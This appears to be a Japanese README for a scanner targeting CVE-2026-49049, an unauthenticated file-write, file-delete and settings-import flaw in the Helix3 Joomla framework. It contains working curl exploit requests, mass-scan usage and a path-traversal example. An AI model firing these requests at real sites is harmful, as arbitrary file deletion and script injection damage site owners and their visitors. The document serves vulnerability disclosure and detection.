
読み取り専用の脆弱性スキャナ — CVE-2026-49049 Helix3 Joomlaプラグインの認証不要AJAXハンドラ
CVE-2026-49049 は、Joomla 用の Helix3 テンプレートフレームワーク (バージョン 1.0 から 3.1.0) に影響します。Joomla の com_ajax ディスパッチャ経由で到達可能な onAjaxHelix3 ハンドラは、いくつかの破壊的なアクションに対して 認証・認可・CSRF 検証を一切行いません。
| アクション | 影響 | 利用可能なバージョン |
|---|---|---|
save | 攻撃者が制御する JSON ファイルを パストラバーサル 付きで書き込む | すべてのバージョン |
remove | 拡張子やパスの制限なし に任意のファイルを削除 | すべてのバージョン |
import | データベースに保存されたテンプレートパラメータを上書き | v3.x のみ |
注:
importアクションは Helix3 v3.x で追加されました。v2.x を実行しているサイトはsaveとremoveのみ影響を受けます。
この脆弱性は Phil Taylor (mySites.guru) によって発見され、2026年6月29日に公開されました。
| Helix3 バージョン | save/remove | import |
|---|---|---|
| 1.0 – 2.x | 影響あり | 存在しない |
| 3.0 – 3.1.0 | 影響あり | 影響あり |
| 3.1.1+ | 修正済み | 修正済み |
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
# Single target
python cve_2026_49049.py -t 192.168.1.100
# Mass scan
python cve_2026_49049.py -f targets.txt -o results.txt
# With JSON report + verbose
python cve_2026_49049.py -f targets.txt --json report.json -v
-t, --target Single target (domain or IP)
-f, --file File with targets, one per line
-o, --output Real-time text output (default: cve-2026-49049_scan.txt)
--json Structured JSON report (default: cve-2026-49049_report.json)
--threads Concurrent workers (default: 15)
--timeout HTTP timeout in seconds (default: 15)
-v, --verbose Show probe details
このスキャナは読み取り専用プローブを実行します。未認証の save エンドポイントを介して Helix3 のレイアウトフォルダに無害な JSON ファイルを書き込み、書き込まれたことを確認した後、remove エンドポイントで直ちに削除します。ターゲットには永続的な変更は残りません。
$ python cve_2026_49049.py -t 192.168.1.100 -v
CVE-2026-49049 — Helix3 (JoomShaper)
Joomla Unauthenticated AJAX Handler Scanner
[*] save — accessible (probe: 3a9719da)
[*] remove — accessible (probe cleaned)
Host : 192.168.1.100
Status : vulnerable
Helix3 : 2.5.6
Vulnerable: YES
save : YES
remove : YES
import : NO
Time : 2.0s
スキャナはこれらの正確なエンドポイントをプローブします。手動で検証するには:
手順 1 — Helix3 がインストールされていることを確認
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Look for <version>X.X.X</version>
手順 2 — save アクションをテスト (未認証のファイル書き込み)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
手順 3 — remove アクションをテスト (未認証のファイル削除)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=remove&data[layoutName]=_test_probe.json'
手順 4 — import アクションをテスト (v3.x のみ、v2.x では利用不可)
curl -sk -X POST \
'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=import&data[template_id]=1&data[settings]={}'
# Note: import was added in Helix3 v3.x.
# Sites running v2.x will return an empty response for this action.
3.1.1 より前の Helix3 バージョンでは、plugins/ajax/helix3/helix3.php が onAjaxHelix3() を介してリクエストを処理しますが、ガードは一切ありません:
public function onAjaxHelix3()
{
$input = Factory::getApplication()->input;
$data = $input->post->get('data', [], 'array');
$action = $data['action'];
$layoutName = $data['layoutName'];
// No auth check. No CSRF token. No path validation.
$filepath = $layoutPath . $layoutName; // path traversal possible
switch ($action) {
case 'remove':
unlink($filepath); // arbitrary file delete
break;
case 'save':
fwrite(fopen($filepath . '.json', 'wb'), $data['content']); // write
break;
}
}
layoutName=../../../somewhere/evil により、意図したレイアウトディレクトリの外にファイルが書き込まれます.json を追加する save とは異なり、remove はあらゆるファイルタイプを対象にできますcustom_js はテンプレート出力内でエスケープされずにレンダリングされるため、すべてのページでスクリプトインジェクションが可能になります。これは実際の改ざん攻撃で使用されるベクタです。教育および許可されたテスト目的のみに使用してください。
このソフトウェアは、許可された侵入テストを実施するセキュリティ専門家、自社インフラを監査する組織、および脆弱性の悪用を研究する研究者を対象としています。
コンピュータシステムへの不正アクセスは違法であり、以下の法律に違反する可能性があります:
- 米国: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- インドネシア: UU ITE Pasal 30 & 46
- 欧州連合: Directive 2013/40/EU
- 英国: Computer Misuse Act 1990
作者は誤用に対する一切の責任を負いません。本ソフトウェアを使用することにより、あなたは自己の行為に対して全責任を負うものとします。
| リソース | リンク |
|---|
このプロジェクトは JoomShaper、Joomla、Open Source Matters, Inc. とは提携関係にありません。
| 元のアドバイザリ (mySites.guru) | Helix3 3.1.1 Security Fix |
| NVD エントリ | CVE-2026-49049 |
| OpenCVE | CVE-2026-49049 |
| JoomShaper GitHub | Helix3 Repository |